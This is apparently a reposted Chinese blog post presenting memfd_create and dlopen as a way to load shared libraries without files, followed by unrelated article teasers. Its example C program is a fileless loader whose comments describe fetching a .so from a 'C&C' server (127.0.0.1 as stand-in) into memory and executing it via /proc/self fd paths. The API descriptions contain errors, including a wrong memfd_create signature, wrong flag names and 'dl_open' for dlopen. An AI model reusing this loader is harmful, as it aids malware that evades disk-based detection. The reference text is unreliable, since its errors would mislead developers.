非文件形式的内存动态函数库调用接口

使用memfd的系统调用接口将动态库加载到proc虚拟文件系统,提供的fd为进程持有的句柄,通过dlopen的path指向此句柄,即可实现非文件系统加载动态链接库。

文章目录

  • 一、memfd_create
  • 二、dl_open
  • 三、示例参考

在这里插入图片描述
在这里插入图片描述


一、memfd_create

接口名称int memfd_create(const char *name, unsigned int flags, unsigned int mode)
场景描述memfd_create() 函数用于创建一个内存文件描述符,该文件描述符指向一个内存区域。
输入参数name :内存区域的名称。如果为空字符串,则内存区域将没有名称。flags :内存区域的标志。 MEMFD_CLOEXEC :在文件描述符关闭时,该内存区域也会被自动释放。MEMFD_ALLOW_SEALING :允许将内存区域密封。mode :内存区域的权限。
输出参数函数返回一个文件描述符,该文件描述符指向内存区域。如果创建内存区域失败,则返回 -1 ,并设置 errno 为错误码。
备注如果 flags 参数设置为 MEMFD_CLOEXEC ,则在文件描述符关闭时,该内存区域也会被自动释放。

二、dl_open

|dl_open() 函数用于打开一个动态链接库。它返回一个指向动态链接库句柄的指针,该句柄可以用于访问动态链接库中的符号。

接口名称void *dl_open(const char *filename, int mode)
场景描述dl_open() 函数用于打开一个动态链接库。它返回一个指向动态链接库句柄的指针,该柄可以用于访问动态链接库中的符号。
输入参数filename :动态链接库的文件名。mode :动态链接库的打开模式。RTLD_LAZY :延迟解析动态链接库中的符号。 RTLD_NOW :立即解析动态链接库中的符号。 RTLD_GLOBAL :将动态链接库中的符号导出到全局符号表中。RTLD_LOCAL :将动态链接库中的符号导出到局部符号中。
输出参数函数返回一个指向动态链接库句柄的指针,该句柄可以用于访问动态链接库中的符号。如果打开动态链接库失败,则返回 NULL 。
备注

三、示例参考

#define _GNU_SOURCE


#include <curl/curl.h>
#include <dlfcn.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/utsname.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/stat.h>        /* For mode constants */
#include <fcntl.h>           /* For O_* constants */
#include <errno.h>



#define SHM_NAME "IceIceBaby"

// Wrapper to call memfd_create syscall
inline int memfd_create(const char *name, unsigned int flags) {
    return syscall(__NR_memfd_create, name, flags);
}

// Returns a file descriptor where we can write our shared object
int open_ramfs(void) {
    int shm_fd;

    shm_fd = memfd_create(SHM_NAME, 1);
    if (shm_fd < 0) { //Something went wrong :(
        fprintf(stderr, "[- Could not open file descriptor\n");
        exit(-1);
    }
    return shm_fd;
}

// Callback to write the shared object
size_t write_data (void *ptr, size_t size, size_t nmemb, int shm_fd) {
    if (write(shm_fd, ptr, nmemb) < 0) {
        fprintf(stderr, "[-] Could not write file :'(\n");
        close(shm_fd);
        exit(-1);
    }
    printf("[+] File written!\n");
}

// Download our share object from a C&C via HTTPs
int download_to_RAM(char *download) {
    CURL *curl;
    CURLcode res;
    int shm_fd;

    shm_fd = open_ramfs(); // Give me a file descriptor to memory
    printf("[+] File Descriptor Shared Memory created, used by memfd_create\n");

    curl = curl_easy_init();
    if (curl) {
        curl_easy_setopt(curl, CURLOPT_URL, download);
        curl_easy_setopt(curl, CURLOPT_WRITEDATA, shm_fd); //Args for our callback
        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data); //Callback

        // Do the HTTPs request!
        res = curl_easy_perform(curl);
        curl_easy_cleanup(curl);
        return shm_fd;
    }
}

// Load the shared object
void load_so(int shm_fd) {
    char path[1024];
    void *handle;

    printf("[+] Trying to load Shared Object!\n");
    snprintf(path, 1024, "/proc/%d/fd/%d", getpid(), shm_fd);

    handle = dlopen(path, RTLD_LAZY);
    if (!handle) {
        fprintf(stderr,"[-] Dlopen failed with error: %s - %s\n", dlerror(), strerror(errno));
    }
}

int main (int argc, char **argv) {
    char *url = "http://127.0.0.1:8000/module1.so";
    int fd;

    printf("[+] Trying to reach C&C & start download...\n");
    fd = download_to_RAM(url);
    load_so(fd);
    exit(0);
}

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/934232.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

SpringBoot 开源停车场管理收费系统

一、下载项目文件 下载源码项目文件口令&#xff1a; 【前端小程序地址】(3.0)&#xff1a;伏脂火器白泽知洞座/~6f8d356LNL~:/【后台管理地址】(3.0)&#xff1a;伏脂火器仇恨篆洞座/~0f4a356Ks2~:/【岗亭端地址】(3.0)&#xff1a;动作火器智汇堂多好/~dd69356K6r~:/复制口令…

计算生成报价单小程序系统开发方案

计算生成报价单小程序报价系统&#xff0c;是根据商品品牌、类型、型号、规格、芯数、特性、颜色、分类进行选择不同的参数进行生成报价单&#xff0c;要求报价单支持生成图片、pdf、excel表格。 计算生成报价单小程序系统的主要功能模块有&#xff1a; 1、在线生成报价单&…

当 webclient 返回复杂json, 但是我只需要其中几个字段的解决方案

当 webclient 返回复杂json, 但是我只需要其中几个字段的解决方案: Spring 的 WebClient 使用 Jackson 作为默认的 JSON 序列化和反序列化工具&#xff0c;可以轻松将 JSON 映射为对象。

【C/C++】指针相关题目(个人笔记)

我们来详细分析这个C程序的执行流程&#xff0c;并预测它的输出结果。 首先&#xff0c;看一下程序的代码&#xff1a; #include <stdio.h>void main() {int a {1, 2, 3, 4};int *p;p &a;printf("%d ", *p);printf("%d\n", *--p); } 接下来&a…

在算网云平台云端在线部署stable diffusion (0基础小白超详细教程)

Stable Diffusion无疑是AIGC领域中的AI绘画利器&#xff0c;具有以下显著优势&#xff1a; 1、开源性质&#xff0c;支持本地部署 2、能够实现对图像生成过程的精确控制 虽然SD在使用上有很多的有点&#xff0c;但缺点也是不言而喻的&#xff0c;由于AI绘画的整个过程以及现…

初次使用uniapp编译到微信小程序编辑器页面空白,真机预览有内容

uniapp微信小程序页面结构 首页页面代码 微信小程序模拟器 模拟器页面为空白时查了下&#xff0c;有几个说是“Hbuilder编译的时候应该编译出来一个app.js文件 但是却编译出了App.js”&#xff0c;但是我的小程序结构没问题&#xff0c;并且真机预览没有问题 真机调试 根据defi…

【工业机器视觉】基于深度学习的仪表盘识读(读数识别)(1)

前言 本文旨在详述机器视觉技术在水表自动化读数领域的应用&#xff0c;具体聚焦于通过深度学习与传统图像处理方法相结合的方式&#xff0c;实现对仪表盘上字轮数字及指针位置的精准识别。在此基础上&#xff0c;通过对指针角度的分析进行初次读数校正&#xff0c;并利…

C语言数据结构作业

一、在堆区空间连续申请5个int类型大小空间&#xff0c;用来存放从终端输入的5个学生成绩&#xff0c;然后显示5个学生成绩。再将学生成绩升序排序&#xff0c;排序后&#xff0c;再次显示学生成绩。显示和排序分别用函数完成。 要求&#xff1a;用malloc和free完成。 二、课程…

C—指针初阶(2)

如果看完阁下满意的话&#xff0c;能否一键三连呢&#xff0c;我的动力就是大家的支持与肯定&#xff0c;冲&#xff01; 二级指针 我们先看概念以及作用&#xff1a;用来存放一级指针的地址的指针 先看例子&#xff0c;我们逐一分析 我们先分析上面那个“1” 标注那里&#x…

成立北京高途公益基金会,陈向东用爱点亮教育公益新征程

12月10日&#xff0c;北京高途公益基金会正式成立。本次成立仪式在京举办&#xff0c;以“用爱点亮”为主题&#xff0c;吸引了来自教育、公益慈善、媒体等领域的200多名嘉宾参加。 活动中&#xff0c;北京高途公益基金会与北京师范大学教育基金会签署了战略合作协议&#xff…

C# winfrom 窗体简单加载框实现详解

文章目录 前言一、为什么需要加载框&#xff1f;二、简单加载框的实现方式2.1 使用模态对话框作为加载框2.2 结合BackgroundWorker和加载框实现更好的效果2.3 加载动画 三、延伸内容3.1 自定义加载框样式3.2 使用第三方控件实现加载框 结束语优质源码分享 C# winfrom 窗体简单加…

第三十九篇——条件概率和贝叶斯公式:机器翻译是怎么工作的?

目录 一、背景介绍二、思路&方案三、过程1.思维导图2.文章中经典的句子理解3.学习之后对于投资市场的理解4.通过这篇文章结合我知道的东西我能想到什么&#xff1f; 四、总结五、升华 一、背景介绍 数学中的概率&#xff0c;看似和我们的生活没关系&#xff0c;其实它却是…

Leetcode 每日一题 202.快乐数

目录 题意 算法思路 过题图片 算法实现 代码解析 复杂度分析 题目链接 结论 题意 判断正整数 n 是不是快乐数。 快乐数定义&#xff1a; &#xff08;1&#xff09;每次将正整数替换为它每个位置上的数字的平方和。 &#xff08;2&#xff09;重复这个过程直到这个数…

CSS学习记录10

CSS图标 向HTML页面添加图标的最简单方法是使用图标库&#xff0c;例如Bootstrap。将指定的图标类的名称添加到任何行内HTML元素&#xff08;如<i> 或 <span>&#xff09;。下面的图标库中的所有图标都是可缩放矢量&#xff0c;可以使用CSS进行自定义&#xff08;…

1.3.4 输入输出技术

目录 接口的功能及分类主机与外设间的连接方式I/O接口的编址方式CPU与外设之间交换数据的方式 接口的功能及分类 输入/输出&#xff08;Input/Output, I/O&#xff09;系统是计算机与外界进行数据交换的通道。 I/O接口是连接主机和I/O设备的转换机构。由于I/O设备种类多样&…

Linux 权限及管理

目录 一、Linux权限 1、概念 2、超级用户和普通用户的相关操作 a. 添加用户&#xff0c;删除用户 b. 超级用户和普通用户的切换 c. sduo提权以及白名单设置 二、Linux权限管理 1、文件访问者的分类 2、文件访问类型和权限 a. 文件类型 b. 基本权限 3、文件权限值…

Linux网络测试指令

Ping Ping命令是一个网络工具&#xff0c;用于测试主机之间的可达性。它通过发送ICMP&#xff08;Internet Control Message Protocol&#xff09;回声请求消息到目标主机&#xff0c;并等待接收ICMP回声应答消息来判断目标是否可达以及测量往返时间。Ping命令对于诊断网络连接…

Java面试题精选:设计模式(二)

1、装饰器模式与代理模式的区别 1&#xff09;代理模式(Proxy Design Pattern ) 原始定义是&#xff1a;让你能够提供对象的替代品或其占位符。代理控制着对于原对象的访问&#xff0c;并允许将请求提交给对象前后进行一些处理。 代理模式的适用场景 功能增强 当需要对一个对…

ICP和EDI许可证办理审核专用的网站系统源码程序下载—专供审核易过使用

在现代互联网及电子商务企业中&#xff0c;ICP许可证和EDI许可证不仅是法律要求&#xff0c;更是企业立足市场的重要基础。这两种许可证能够帮助企业爬梳合规问题&#xff0c;规避法律风险&#xff0c;并提升自身的信誉&#xff0c;增强客户的信任感。本文将详细介绍ICP许可证和…

运动场预定系统设计与实现

一、前言 随着人们健康意识的提高和体育运动的普及&#xff0c;各类运动场地的需求日益增长。传统的运动场预定方式往往依赖人工登记、电话预约等手段&#xff0c;存在效率低下、信息不透明、管理不便等问题。例如&#xff0c;使用者难以实时了解场地的空闲情况&#xff0c;需要…